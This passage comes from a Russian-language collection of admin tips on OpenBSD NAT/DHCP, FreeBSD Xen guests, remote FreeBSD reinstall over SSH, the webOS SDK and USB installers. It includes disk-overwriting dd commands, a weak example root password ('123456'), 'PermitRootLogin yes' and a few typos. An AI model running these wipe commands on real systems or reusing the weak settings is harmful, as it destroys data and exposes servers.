       pass out on $ext_if from 172.18.7.0/16 nat-to 10.135.62.26
    
    В данном случае мы перенаправляем весь трафик из внутренней (локальной) сети
    172.18.7.0 на адрес провайдера (или модема) 10.135.62.26. Обратите внимание на
    переменную $ext_if! Вместо неё должно быть подставлено название внешнего
    интерфейса (который подключён к сети провайдера). Обычно она определяется в
    самом начале pf.conf примерно следующим образом:
    
       ext_if="fxp0"  (если fxp0 имеет адрес 10.135.62.26, как в нашем примере)
    
    Ну вот и все настройки NAT-а в OpenBSD. Как видите это делается правкой всего
    двух конфигов, в которые нужно дописать по одной строчке. Простота и
    доступность - главные преимущества систем BSD!
    
    Осталось только добавить NAT (точнее pf) в автозагрузку. Самый простой способ
    это сделать - найти и изменить строчку типа "pf=" в файле /etc/rc.conf, должно
    быть так:
    
       pf=YES
    
    После перезагрузки вы увидите, что pf был запущен и настроен, а следовательно,
    все пользователи локальной сети могут подключаться к сети провайдера и
    наслаждаться доступом в Интернет!
    
    4) Ну и последний штрих в настройке нашего сервера - включение и настройка
    DHCPD. Эта штука позволит нам автоматически раздавать IP-адреса, ограничивать
    количество компов в сети, а также изолировать некоторые компьютеры в отдельные
    сетевые группы не вставая из-за консоли сервера. Причём все настройки делаются
    в одном единственном файле - /etc/dhcpd.conf, например так:
    
       option domain-name-servers 10.135.62.2;
       subnet 172.18.7.0 netmask 255.255.0.0 {
           routers 172.18.7.1;
           range 172.18.7.130 172.18.7.190;
       }
    
    
    В этом примере мы указываем общий для всех DNS-сервер 10.135.62.2, затем
    создаём подсеть (блок адресов) из 60 адресов (с 172.18.7.130 по 172.18.7.190) и
    прописываем для неё шлюз (маршрутизатор) 172.18.7.1. Таким образом, компьютеры
    локальной сети, при обращении к нашему серверу будут получать свободный адрес
    из указанного диапазона, шлюз 172.18.7.1 и DNS-сервер 10.135.62.2. И таких
    подсетей можно сделать сколько угодно с разными настройками.
    
    Если же в этот дипазон попал, например, принтер или просто требуется жёсткая
    привязка компьютера к какому-то IP-адресу, тоже не проблема. Нужно всего лишь
    указать MAC-адрес сетевой карты этого компа и выделить ему IP, например так:
    
       host static-client {
         hardware ethernet 00:12:25:2a:3c:17;
        fixed-address 172.18.7.150;
       }
    
    Таким образом мы делаем постоянную привязку IP-адреса 172.18.7.150 к MAC-адресу
    00:12:25:2a:3c:17. То есть только компьютер (или принтер) с MAC-ом
    00:12:25:2a:3c:17 будет получать IP-шник 172.18.7.150, он будет для этой машины
    зарезервирован. И, опять же, таких привязок можно сделать сколько угодно, хоть
    на всю подсеть, например так:
    
       subnet 172.18.7.0 netmask 255.255.0.0 {
           routers 172.18.7.1;
           range 172.18.7.130 172.18.7.190;
           host static-client {
             hardware ethernet 00:12:25:2a:9c:12;
             fixed-address 172.18.7.140;
          }
          host static-client1 {
             hardware ethernet 00:12:25:2a:3c:17;
             fixed-address 172.18.7.150;
          }
          host static-client2 {
             hardware ethernet 00:12:25:4b:3c:45;
             fixed-adress 172.18.7.160;
          }
       }
    
    В этом примере зарезервированы 3 адреса: 172.18.7.140, 172.18.7.150 и 172.18.7.160.
    
    В завершение включаем автоматический запуск данного демона (службы) всё в том
    же /etc/rc.conf следующей строчкой:
    
       dhcpd_flags=""
    
    Её просто нужно найти и поменять значение параметра.
    
    Ну вот и всё. После перезагрузки компьютера вы увидите запуск всех настроенных
    демонов (сервисов), а проверить их работу и состояние можно с помощью команды
    pgrep, например:
    
       pgrep -lf dhcpd
    
    При этом на экран будет выведен номер процесса (PID) и ссылка на сам
    DHCP-сервер. Аналогично проверяется работа и других сервисов (демонов),
    запущенных в OpenBSD.
    
    Как видите в создании сервера (шлюза) на базе операционной системы OpenBSD нет
    ничего сложного и страшного. Попробуйте, у вас обязательно получится!
    
     
    ----* Подготовка DomU FreeBSD-окружения для выполнения в Linux Dom0 Xen с LVM (доп. ссылка 1)   [комментарии]
     
    В качестве хост-системы будет использован сервер на базе Debian GNU/Linux 5, на
    котором дисковые разделы разбиты с использованием LVM.
    
    Для сборки работающего в режиме паравиртуализации ядра FreeBSD и формирования
    образа системы понадобится уже установленная FreeBSD. В простейшем случае можно
    воспользоваться VirtualBox для временной установки FreeBSD.
    
    Заходим в существующую FreeBSD систему и подготавливаем дисковый образ /tmp/freebsd.img для Xen.
    
       cd /usr/src
       truncate -s 1G /tmp/freebsd.img
    
    Привязываем файл с дисковым образом к устройству /dev/md0
    
       mdconfig -f freebsd.img
    
    Разбиваем разделы, форматируем и монтируем в /mnt:
    
       fdisk -BI /dev/md0
       bsdlabel -wB md0s1
       newfs -U md0s1a
       mount /dev/md0s1a /mnt
    
    Собираем мир и ядро с паравиртуальными драйверами Xen и устанавливаем в директорию /mnt:
    
       make buildworld
       make buildkernel KERNCONF=XEN 
       make DESTDIR=/mnt installworld
       make DESTDIR=/mnt installkernel KERNCONF=XEN 
       make DESTDIR=/mnt distribution
    
    В /mnt/etc/ttys добавляем строку с описанием терминала xc0
    
       xc0 "/usr/libexec/getty Pc" vt100 on secure
    
    В /mnt/etc/fstab прописываем параметры монтирования корня:
    
       /dev/ad0s1a / ufs rw 0 0
    
    Отмонтируем сформированный образ и скопируем его на хост-систему, на которой будет работать DomU:
    
       umount /mnt
       mdconfig -d -u 0
       bzip2 -v9 /tmp/freebsd.img
       scp /tmp/freebsd.img.bz2 user@dom0-host.example.com:/tmp/freebsd.img.bz2
    
    Отдельно копируем ядро с паравиртуальными драйверами:
    
       scp /usr/obj/usr/srcsys/XEN/kernel user@dom0-host.example.com:/tmp/freebsd_8.2-RC1_kernel
    
    
    Настраиваем Dom0
    
    Подготавливаем LVM-разделы, которые будут использоваться для работы FreeBSD.
    Создадим два раздела - один для изменения размера рабочего раздела и второй -
    рабочий раздел, на котором будет работать гостевая система.
    
    Создаем LVM-разделы в уже присутствующей физической группе xen-vol:
    
       lvcreate -L1000 -n freebsdmaint.example.com xen-vol
       lvcreate -L110000 -n freebsd-dom0.example.com xen-vol
    
    копируем ранее созданный образ в данные разделы:
    
       dd if=freebsd.img of=/dev/xen-vol/freebsdmaint.example.com bs=1M
       dd if=freebsd.img of=/dev/xen-vol/freebsd-dom0.example.com bs=1M
    
    Конфигурируем Xen:
    
    Создаем два файла конфигурации: первый для обслуживания изменения размера
    раздела и второй для рабочего виртуального окружения (отдельный раздел нужен
    так как мы не можем переконфигурировать текущий раздел без его отмонтирования,
    смонтировать файл через "mount -o loop" мы не можем так как в Linux отсутствует
    полноценная поддержка UFS).
    
    Ранее подготовленное ядро копируем в /xen/kernels/freebsd_8.2-RC1_kernel
    
    Окружение для изменения размера дискового раздела freebsdmaint.example.conf.cfg:
    
       kernel = "/xen/kernels/freebsd_8.2-RC1_kernel"
       vcpus = '1' # 1 CPU
       memory = '64' # 64 Мб ОЗУ
       disk = [ 'phy:/dev/xen-vol/freebsdmaint.example.com,hda,w',  'phy:/dev/xen-vol/freebsd-dom0.example.com,hdb,w' ]
       name = 'freebsdmaint.example.com'
       vif = [ 'bridge=eth0,mac=00:16:3E:62:DB:03' ]
       extra = 'xencons=tty1'
       extra = "boot_verbose"
       extra += ",boot_single"
       extra += ",kern.hz=100"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
    
    Рабочее окружение freebsd-dom0.example.conf.cfg (отличается от предыдущей
    конфигурации указанием только одного раздела freebsd-dom0.example.com):
    
       kernel = "/xen/kernels/freebsd_8.2-RC1_kernel"
       vcpus = '1'
       memory = '64'
       disk = [ 'phy:/dev/xen-vol/freebsd-dom0.example.com,hda,w' ]
       name = 'freebsd-dom0.example.com'
       vif = [ 'bridge=eth0,mac=00:16:3E:62:DB:03' ]
       extra = 'xencons=tty1'
       extra = "boot_verbose"
       extra += ",boot_single"
       extra += ",kern.hz=100"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
    
    Запускаем обслуживающее окружение:
    
       xm create -c freebsdmaint.example.conf.cfg
    
    Изменяем размер рабочего раздела, который виден как /dev/ad1s1a (после запуска
    fdisk на первые два вопроса отвечаем 'y', после запроса размера указываем
    размер основного раздела как "число Мб * 2048"):
    
       fdisk -u /dev/ad1
       
       ******* Working on device /dev/ad1 *******
       parameters extracted from in-core disklabel are:
       cylinders=14023 heads=255 sectors/track=63 (16065 blks/cyl)
    
       Figures below won't work with BIOS for partitions not in cyl 1
       parameters to be used for BIOS calculations are:
       cylinders=14023 heads=255 sectors/track=63 (16065 blks/cyl)
    
       Do you want to change our idea of what BIOS thinks ? [n] n
       Media sector size is 512
       Warning: BIOS sector numbering starts with sector 1
       Information from DOS bootblock is:
       The data for partition 1 is:
       sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD)
       start 63, size 2088387 (1019 Meg), flag 80 (active)
       beg: cyl 0/ head 1/ sector 1;
       end: cyl 129/ head 254/ sector 63
       Do you want to change it? [n] y
       ...
       Supply a decimal value for "size" [2088387]
    
       fdisk: WARNING: partition does not end on a cylinder boundary
       fdisk: WARNING: this may confuse the BIOS or some operating systems
       Correct this automatically? [n] y
    
       Should we write new partition table? [n] y
    
    Изменяем размер слайса:
    
       bsdlabel -e /dev/ad1s1
    
       # size offset fstype [fsize bsize bps/cpg]
       a: 2088351 16 unused 0 0
       c: 2088387 0 unused 0 0 # "raw" part, don't edit
    
    Не трогаем значение "raw" и правим размер слайса "a", приписав туда вычисленное
    на прошлом шаге значение дискового раздела минус 16 байт. Т.е. получаем после
    правки (raw-значение рассчитается автоматически):
    
       # size offset fstype [fsize bsize bps/cpg]
       a: 225279416 16 unused 0 0
       c: 225279432 0 unused 0 0 # "raw" part, don't edit
    
    Запускаем growfs для расширения существующей файловой системы:
    
       growfs /dev/ad1s1a
    
    Выключаем обслуживающую VM и запускаем основную. Внимание, одновременно
    основной и обслуживающий VM запускать нельзя, так как они работают с одинаковым
    дисковым разделом freebsd-dom0.example.com.
    
     
    ----* Удаленная установка FreeBSD через SSH  (доп. ссылка 1) (доп. ссылка 2)   Автор: Панфилов Алексей  [комментарии]
     
    Задача: Установка FreeBSD на удаленном сервере, к которому имеется доступ
    только через SSH и на котором отсутствует возможность обновления FreeBSD
    штатными средствами (например, установлен Linux или очень старая версия FreeBSD).
    
    Решение: 1. Сформировать отдельный загрузочный образ с настроенными параметрами
    сетевого соединения и активным ssh-сервером. 2. Записать данный образ на диск
    удаленного сервера и перезагрузиться.
    
    
    Готовим загрузочный образ на локальной FreeBSD-системе.
    
    Загружаем установочный ISO-образ:
    
       fetch ftp://ftp.freebsd.org/pub/FreeBSD/releases/amd64/ISO-IMAGES/8.1/FreeBSD-8.1-RELEASE-amd64-disc1.iso
    Загружаем mfsBSD:
    
       fetch http://people.freebsd.org/~mm/mfsbsd/mfsbsd-latest.tar.gz
    
    Распаковываем и переходим в получившуюся директорию:
    
       tar xvzf mfsbsd-1.0-beta1.tar.gz
       cd mfsbsd-1.0-beta1/conf/
    
    Правим файлы конфигурации и добавляем параметры сетевого соединения удаленного хоста:
    
    На базе примера loader.conf.sample создаем loader.conf
    
       geom_uzip_load="YES"
       mfs_load="YES"
       mfs_type="mfs_root"
       mfs_name="/mfsroot"
       tmpfs_load="YES"
       vfs.root.mountfrom="ufs:/dev/md0"
       mfsbsd.rootpw="123456"
    
    На базе примера rc.conf.sample создаем rc.conf
    
       # Настраиваем параметры сети для сетевого интерфейса em0
       hostname="mfsbsd"
       defaultrouter="192.168.1.1"
       ifconfig_em0="inet 192.168.1.5 netmask 255.255.255.0"
       varmfs="YES"
       varsize="64m"
       # Включаем SSH-сервер
       sshd_enable="YES"
    
    Добавляем адрес DNS-сервера:
       echo "nameserver 8.8.8.8" >resolv.conf
    
    Монтируем установочный ISO-образ
       mdconfig -a -t vnode -f ../../FreeBSD-8.1-RELEASE-amd64-disc1.iso md0
       mount_cd9660 /dev/md0 /cdrom/
    
    Собираем загрузочный образ для удаленного сервера:
    
       make BASE=/cdrom/8.1-RELEASE/
    
    В результате будет получен файл mfsboot.img, который следует скопировать на удаленный сервер.
    
       scp mfsboot.img user@remotehost:~/
    
    Внимание ! Перед манипуляциями с удаленным сервером, рекомендуется обязательно
    провести эксперимент на локальной машине, повторив на ней все дальнейшие шаги.
    
    Заходим на удаленный сервер.
    
    Записываем созданный загрузочный образ в начало диска:
    
       dd if=mfsboot.img of=/dev/sda bs=1m
    
    Перезагружаем сервер:
    
       shutdown -r now
    
    После перезагрузки заходим на сервер по ssh и запускаем инсталлятор sysinstall.
    
    Если возникнут проблемы с созданием устройств в devfs, то разбиваем диск вручную:
    
    Пометим системный диск как пустой:
       dd if=/dev/zero of=/dev/ad0 count=2
    
    Создадим слайс, размером во весь диск с записью загрузочного кода в сектор 0:
       fdisk -BI /dev/ad0
    
    Создаем стандартную разметку диска и устанавливаем загрузчик:
       bsdlabel -wB /dev/ad0s1 auto
    
    Форматируем разделы:
    
       newfs /dev/ad0s1a
       newfs /dev/ad0s1e
       newfs /dev/ad0s1d
       newfs /dev/ad0s1f
    
    Создаем точки монтирования:
       mount /dev/ad0s1a /mnt/
       mkdir /mnt/var
       mkdir /mnt/usr
       mkdir /mnt/tmp
       mount /dev/ad0s1d /mnt/var/
       mount /dev/ad0s1e /mnt/tmp/
       mount /dev/ad0s1f /mnt/usr/
    
    Запускаем sysinstall и выбираем пункт меню "Custom". В пункте Options
    обязательно меняем значение "Install Root" на /mnt.
    Далее посещаем раздел "Distributions" и выбираем опцию Minimal. В блоке "Media"
    выбираем ближайшее ftp-зеркало. Жмем Commit.
    
    Копируем созданные для установочного образа настройки сети или устанавливаем
    параметры в процессе работы sysinstall (не забудьте активировать ssh-сервер):
    
       cp /etc/resolv.conf /mnt/etc/
       cp /etc/rc.conf /mnt/etc/
    
    Если диск разбивался вручную, после установки необходимо откорректировать fstab.
    
    Копируем GENERIC-ядро в директорию /boot/kernel:
       chroot /mnt
       cp -Rp /boot/GENERIC/* /boot/kernel
       
    
    Еще раз все проверив перезагружаем сервер.
    
     
    ----* Установка webOS SDK во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Для разработки приложений для сматрфонов Palm Pre и Pixi требуется установка
    webOS SDK, который поставляется только для Windows, MacOS X и Ubuntu Linux.
    Ниже представлено руководство по запуску во FreeBSD сборки для Linux,
    инструкция проверена на SDK версии 1.4.5.465.
    
    Устанавливаем следующие порты:
    
      archivers/dpkg
      java/jdk16
      java/linux-sun-jdk16
      emulators/virtualbox-ose
      shells/bash
    
    Загружаем webOS SDK: 32-разрядные deb-пакеты palm-novacom_1.0.56_i386.deb и palm-sdk_1.4.5-svn307799-sdk1457-pho465_i386.deb.
    Загрузить.
    
    
    Без установки посмотрим содержимое пакетов при помощи пакетного менеджера dpkg:
    
       dpkg --contents palm-novacom_1.0.56_i386.deb
       dpkg --contents palm-sdk_1.4.5-svn307799-sdk1457-pho465_i386.deb
    
    Как видим, содержимое будет установлено в директории /opt и /usr, чтобы не
    устраивать свалку в системе распакуем содержимое пакетов в отдельную директорию
    /home/USER/software/palm, а в директории /opt создадим несколько символических
    ссылок, необходимых для работы  программы palm-inspector:
    
       mkdir -p ~/software/palm
    
       dpkg-deb -x palm-novacom_1.0.56_i386.deb ~/software/palm/
       dpkg-deb -x palm-sdk_1.4.5-svn307799-sdk1457-pho465_i386.deb ~/software/palm/
       rm -rfv ~/software/palm/usr
       mv ~/software/palm/opt/* ~/software/palm/
       rm -rfv ~/software/palm/opt
    
    Правка скриптов для того чтобы они корректно заработали в новом окружении:
    
       cd ~/software/palm/PalmSDK/Current/bin
    
    В скриптах
    
       palm-generate
       palm-help
       palm-install
       palm-launch
       palm-log
       palm-package
    
    находим блок
    
       HERE="$(where_am_i "$0")"
       # look for relative dirs
       JARS_DIR="$(abs_path "$HERE/../share/jars")
    
    и заменяем его на
    
       HERE="$(dirname `realpath "$0"`)"
       # look for relative dirs
       JARS_DIR="$HERE/../share/jars"
    
    В скрипте palm-emulator дополнительно заменяем строку
    
       IMAGES_DIR="$(abs_path "$HERE/../share/emulator/images")"
    
    на
    
       IMAGES_DIR="$HERE/../share/emulator/images"
    
    и добавляем 
    
       export JAVA_HOME=/usr/local/linux-sun-jdk1.6.0
    
    после строки
    
       set -e
    
    Для корректного вызова bash заменяем заголовок
    
       #!/bin/bash
    
    на
    
       #!/usr/bin/env bash
    
    В скрипте palm-worm заменяем
    
       # remove the trailing slash (if any)
       SDK_DIR=${PalmSDK%/}
    
    на
    
       # remove the trailing slash (if any)
       SDK_DIR="$(dirname `realpath "$0"`)/../"
    
    Для удобства использования устанавливаем символические ссылки на скрипты в базовую директорию:
    
       cd ~/software/palm
       ln -s PalmSDK/Current/bin/palm-* .
    
    Обеспечиваем работоспособность прокси-сервиса Novacom, позволяющего
    устанавливать, запускать и инспектировать приложения виртуальном окружении
    VirtualBox или на подсоединенном телефоне.
    
    Устанавливаем необходимый для запуска Novacom  пакет
    libusb-0.1-4_0.1.12-14_i386.deb из репозитория Ubuntu:
    
       dpkg-deb -x libusb-0.1-4_0.1.12-14_i386.deb tmp
       mv tmp/lib/* ~/software/palm/PalmSDK/Current/lib/
       rm -rfv tmp
    
    Создаем простые скрипты-врапперы для запуска программ с учетом измененного пути к библиотекам:
    
    novacom.sh:
    
       #!/bin/sh
    
       CURDIR="$(dirname `realpath "$0"`)"
    
       export LD_LIBRARY_PATH=$CURDIR/PalmSDK/Current/lib:"$LD_LIBRARY_PATH"
       cd $CURDIR && exec ./Palm/novacom/novacom $*
    
    
    novacomd.sh
    
       #!/bin/sh
    
       CURDIR="$(dirname `realpath "$0"`)"
    
       export LD_LIBRARY_PATH=$CURDIR/PalmSDK/Current/lib:"$LD_LIBRARY_PATH"
       cd $CURDIR && exec ./Palm/novacom/novacomd $*
    
    novaterm.sh
    
       #!/bin/sh
    
       CURDIR="$(dirname `realpath "$0"`)"
    
       export LD_LIBRARY_PATH=$CURDIR/PalmSDK/Current/lib:"$LD_LIBRARY_PATH"
       cd $CURDIR && exec ./Palm/novacom/novacom $* -t open tty://0
    
    Обеспечиваем функционирование Palminspector, программы для отладки и
    инспектирования web-приложений для webOS. Программа базируется на движке WebKit
    и требует для своей работы установку следующих пакетов из репозитория Ubuntu:
    
       libenchant1c2a_1.6.0-0ubuntu1_i386.deb
       libfam0_2.7.0-16.1_i386.deb
       libgcrypt11_1.4.4-5ubuntu2_i386.deb
       libgio-fam_2.22.0-0ubuntu1_i386.deb
       libgnutls13_2.0.4-1ubuntu2.6_i386.deb
       libgpg-error0_1.6-1ubuntu2_i386.deb
       libicu38_3.8-6ubuntu0.2_i386.deb
       libtasn1-3_2.4-1_i386.deb
       libxml2_2.7.6.dfsg-1ubuntu1_i386.deb
    
    Распаковываем данные пакеты:
    
       dpkg-deb x libenchant1c2a_1.6.0-0ubuntu1_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libxml2_2.7.6.dfsg-1ubuntu1_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libicu38_3.8-6ubuntu0.2_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libgnutls13_2.0.4-1ubuntu2.6_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libgcrypt11_1.4.4-5ubuntu2_i386.deb tmp
       mv tmp/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libtasn1-3_2.4-1_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libgpg-error0_1.6-1ubuntu2_i386.deb tmp
       mv tmp/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libgio-fam_2.22.0-0ubuntu1_i386.deb tmp
       mv tmp/usr/lib/gio ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libfam0_2.7.0-16.1_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
    Создаем скрипт-враппер palminspector.sh:
    
       #!/bin/sh
    
       CURDIR="$(dirname `realpath "$0"`)"
    
       export LD_LIBRARY_PATH=$CURDIR/PalmSDK/Current/lib:"$LD_LIBRARY_PATH"
       cd $CURDIR && exec ./PalmSDK/Current/bin/palminspector $*
    
    Решаем проблемы с путями к SDK, которые жестко прошиты в бинарном файле,
    установкой символической ссылки в директории /opt:
    
       ln -s /home/USER/software/palm/PalmSDK /opt/PalmSDK
    
    Настраиваем образ виртуальной машины для VirtualBox, для этого устанавливаем
    порт emulators/virtualbox-ose и запускаем palm-emulator для эмуляции телефонов
    Palm Pre и Palm Pixi. В процессе запуска не обращаем внимание на предупреждение
    "Novacom not responding".
    
     
    ----* Подготовка паравиртуализированного гостевого окружения с FreeBSD 8 для Xen (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    В заметке рассказано о подготовке образа гостевой системы с FreeBSD 8,
    предназначенного для работы под управлением  Xen в режиме паравиртуализации,
    позволяющем добиться более высокой производительности по сравнению с
    HVM-режимом (полная аппаратная виртуализация).
    
    В настоящее время нет готовых бинарных образов ядра и системы, предназначенных
    для установки в роли гостевой ОС. Придется создавать их вручную. Для начала
    поставим FreeBSD обычным образом на диск или под управлением VirtualBox, после
    чего займемся созданием образа, пригодного для использования в Xen DomU.
    
    Создадим каркас будущего образа гостевой ОС (размер можно сразу изменить исходя из решаемых задач):
    
       # truncate -s 256M freebsd.img
    
    Привяжем к этому файлу виртуальный диск:
    
       # mdconfig -f freebsd.img
    
    Установим загрузчик, создадим дисковые разделы и отформатируем под UFS2 с включенными softupdates:
    
       # fdisk -BI md0
       # bsdlabel -wB md0s1
       # newfs -U md0s1a
    
    Монтируем локально созданную внутри файла ФС:
    
       # mount /dev/md0s1a /mnt
    
    В /usr/src текущей системы должен быть полный набор исходных текстов, обновим их:
    
       # csup -h cvsup2.ru.FreeBSD.org -L 2 /usr/share/examples/cvsup/standard-supfile
    
    Примечание: C 2012 года проект FreeBSD перешёл на использование Subversion.
    Вместо cvsup следует использовать svnup (или freebsd-update для системы,
    portsnap/pkg для портов):
    
       cd /usr/ports/net/svnup && make install
       svnup stable -h svn0.us-west.freebsd.org 
       svnup ports -h svn0.us-west.freebsd.org 
    
    
    
    Соберем ядро и мир
    
       # make buildworld && make buildkernel KERNCONF=XEN
    
    Установим итоговые собранные файлы на ранее подготовленный дисковый образ в
    файле, примонтированный в /mnt:
    
       # export DESTDIR=/mnt && make installworld && make installkernel KERNCONF=XEN && cd etc && make distribution
    
    Адаптируем настройки для работы в качестве гостевой системы Xen.
    В  /mnt/etc/fstab добавим:
    
       /dev/xbd0       /               ufs     rw              1       1
    
    В /mnt/etc/ttys:
    
       xc0     "/usr/libexec/getty Pc"         vt100   on  secure
    
    Сохраним отдельно ядро гостевой системы, так как его потребуется скопировать для загрузки из dom0:
    
       # cp /mnt/boot/kernel/kernel /some/place/freebsd-kernel
    
    Отмонтируем виртуальный диск:
    
       # umount /mnt
       # mdconfig -d -u md0
    
    В результате получены файл с гостевой системой freebsd.img и файл с ядром freebsd-kernel.
    
    
    Конфигурируем управляющее окружение Xen (dom0):
    
    Проверяем работает ли xen:
    
       # xm list
    
    Создаем файл конфигурации /etc/xen/freebsd:
    
       kernel = "/virt/freebsd-8.0p2-i386-xen-domu-kernel"
       memory = 512
       name = "freebsd"
       vif = [ '' ]
       disk = [ 'file:/virt/freebsd-8.0p2-i386-xen-domu.img,hda,w' ]
       extra = "boot_verbose=1"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
       extra += ",kern.hz=100"
    
    где, /virt/freebsd-8.0p2-i386-xen-domu-kernel путь к предварительно
    скопированному в файловую систему dom0 подготовленного ранее ядра FreeBSD.
    
    
    В /etc/xen/xend-config.sxp активируем сетевой мост для работы сети внутри FreeBSD:
    
       #(network-script network-dummy)
       (network-script network-bridge)
    
    Запускаем гостевое окружение и сразу входим в консоль:
    
       # xm create freebsd
       # xm console freebsd
    
    Из проблем, отмечена неработа настройки ifconfig_xn0="DHCP", для получения
    адреса dhclient нужно запускать вручную.
    
     
    ----* Как посмотреть список установленных во FreeBSD портов   [обсудить]
     
    Утилита pkg_info показывает список установленных пакетов с учетом номера версии, 
    чтобы сформировать список общих названий портов, которые нужно установить для повторения 
    списка программ на другой машине можно использовать скрипт:
    
       find /var/db/pkg -name +CONTENTS -exec sh -c "grep 'comment ORIGIN' {}" \;|cut -d\: -f2
    
     
    ----* Удалённая установка FreeBSD на сервер с установленным Linux   Автор: Touch  [комментарии]
     
    Для удаленной установки FreeBSD из Linux уже есть готовый инструмент который
    называется Depenguinator. Причины по которым это делается обсуждать не буду,
    вообщем имеем сервер с установленным GNU Linux.
    
    Cкачать Depenguinator можно здесь: http://www.daemonology.net/blog/2008-01-29-depenguinator-2.0.html
    
    Сам собирал всё это на своей машине под Gentoo, поэтому для сборки пришлось
    поставить app-arch/libarchive
    Возможно кому-то прийдётся поставить что-то ещё.
    
    Скачиваем и распаковываем сам depenguinator:
    
       # wget -c http://www.daemonology.net/depenguinator/depenguin-2.0.tar.gz
       # tar -xzpvf depenguin-2.0.tar.gz
    
    Выполняем всё под root'ом, потому как под пользователем не соберётся
    Переходим в depenguin-2.0, распаковываем makefs-20080113.tar.gz и выполняем:
    
       # sed -i'' -e'140i\#define ARG_MAX 2048' makefs-2008011/netbsdsrc/lib/libc/gen/glob.c
    
    Потому как версия glibc у нас новее чем у автора из-за чего нормально оно не
    собирается, после чего запаковываем всё назад в архив с таким же названием.
    
    Правим depenguinator.conf и готовим authorized_keys для чего выполняем
    
       # ssh-keygen -t rsa && cp ~/.ssh/id_rsa.pub authorized_keys
    
    Правим loader.conf, добавляем поддержку ext2fs, grub я решил оставить, он и под
    freebsd работает, а так как grub.conf у нас находится на разедле с ext2 было бы
    неплохо иметь возможность его исправить загрузившись во freebsd.
    
       # echo 'ext2fs_load="YES"' >> loader.conf
    
    Собираем загрузочный образ depenguinator'а
    
       # ./makeimage.sh ~/7.2-RELEASE-i386-disc1.iso 7.2-RELEASE authorized_keys
    
    После сборки должен получится disk.img который нужно будет загрузить а сервер.
    
    Для загрузки Depenguinator'а будем использовать swap, для чего меняем его тип fdisk'ом на a5.
    
    Накатываем образ
    
       # dd if=disk.img of=/dev/sda2
    
    Правим grub.conf, для загрузки Depenguinator'а
    
       title   Depenguinator
            root    (hd0,1)
            makeactive
            chainloader +1
    
    После чего меняем умолчательную загрузку на Depenguinator и затаив дыхание перегружаемся :)
    
    Если всё прошло нормально то после перезагрузки мы должны получить ssh с
    доступом по ключу, который мы создавали.
    
    Готовим диск и монтируем нашу будущую систему в /mnt. Если у нас на сервере всего один жёсткий
    диск - оставляем Linux'овый /boot и swap который мы используем под Depenguinator, осталные разделы
    удаляем и вместо них создаём slice для FreeBSD. Если же дисков несколько,
    например имеем software'ный
    raid можно извлечь из него один винчестер и полностью использовать для FreeBSD.
    В результате получим
    возможность загрузки GNU Linux, Depenguinator и FreeBSD.
    
    Так как сервер у меня новый то ставить на него решил 7.2-RELEASE-amd64, для
    чего копируем по ssh с первого диска base и kernels:
    
       # scp -r base kernels 1.1.1.1:/mnt/usr
    
    Устанавливаем базовую систему:
    
       # cd /mnt/usr/base && cat base.?? | tar --unlink -xpzf - -C /mnt
       # cd /mnt/usr/kernels && cat generic.?? | tar --unlink -xpzf - -C /mnt/boot
       # cd /mnt/boot; rmdir /mnt/boot/kernel; mv /mnt/boot/GENERIC /mnt/boot/kernel
    
    Редактируем /mnt/boot/loader.conf, добавляем
    
       ext2fs_load="YES"
    
    Редактируем /mnt/etc/fstab под свои разделы.
    Редактируем /mnt/etc/rc.conf, добавляем имя хоста, настройки сети и т.д.
    Редактируем /mnt/etc/ssh/sshd_config ставим
    
       PermitRootLogin yes
    
    Копируем ключ для доступа по ssh
    
       # mkdir /mnt/root/.ssh && cp /root/.ssh/authorized_keys /mnt/root/.ssh
    
    Монтируем boot'овый раздел linux'а и снова правим grub.conf, теперь добавляем
    загрузку уже новой системы:
    
       title FreeBSD
         root (hd0,2,a)
         kernel /boot/loader
    
    Снова меняем умолчательную загрузку но уже на FreeBSD и снова затаив дыхание перегружаемся :)
    После перезагрузки мы должны получить доступ по ssh с авторизацией по ключу.
    
    Советую для начала всё это проделать на виртуалке, ну или на компьютере стоящем рядом :)
    Если что-то не получилось, дополнительную информацию можно найти здесь:
    
       http://daemonicdispatches.disqus.com/the_depenguinator_version_20/ 
       http://stderr.de/blog/bryar.cgi/id_2625 
       http://gist.github.com/45741
    
     
    ----* Создание установочного USB Flash с FreeBSD 8.0 (доп. ссылка 1)   [комментарии]
     
    1. Чистим MBR и таблицу разделов на Flash:
    
        dd if=/dev/zero of=/dev/da0 bs=1k count=1
    
    2. Делаем Flash загрузочным:
    
        bsdlabel -Bw da0 auto
    
    3. Создаем файловую систему UFS2 с GEOM меткой "FreeBSD"
    
        newfs -L FreeBSD /dev/da0a
    
    4. Монтируем в /mnt/iso установочный ISO-образ:
    
        mdconfig -a -t vnode -f 8.0-HEAD-20090609-JPSNAP-i386-dvd1 -u 0
        mount -r -t cd9660 /dev/md0 /mnt/iso 
    
    5. Монтируем USB Flash:
    
        mount /dev/da0a /mnt/USB-Stick
    
    6. Копируем все файлы с iso на USB.
    
       tar cf - /mnt/iso | tar xf - -C /mnt/USB-Stick
    
    7. Редактируем /mnt/USB-Stick/etc/fstab и добавляем
    
        /dev/ufs/FreeBSD / ufs ro 0 0
    
    8. Отмонтируем Flash и iso 
    
        umount /mnt/USB-Stick
        umount /mnt/iso 
    
     
    ----* Настройка работы шифрованного корневого раздела во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Устанавливаем систему стандартным образом в один минимальный корневой раздел,
    для дополнительных разделов
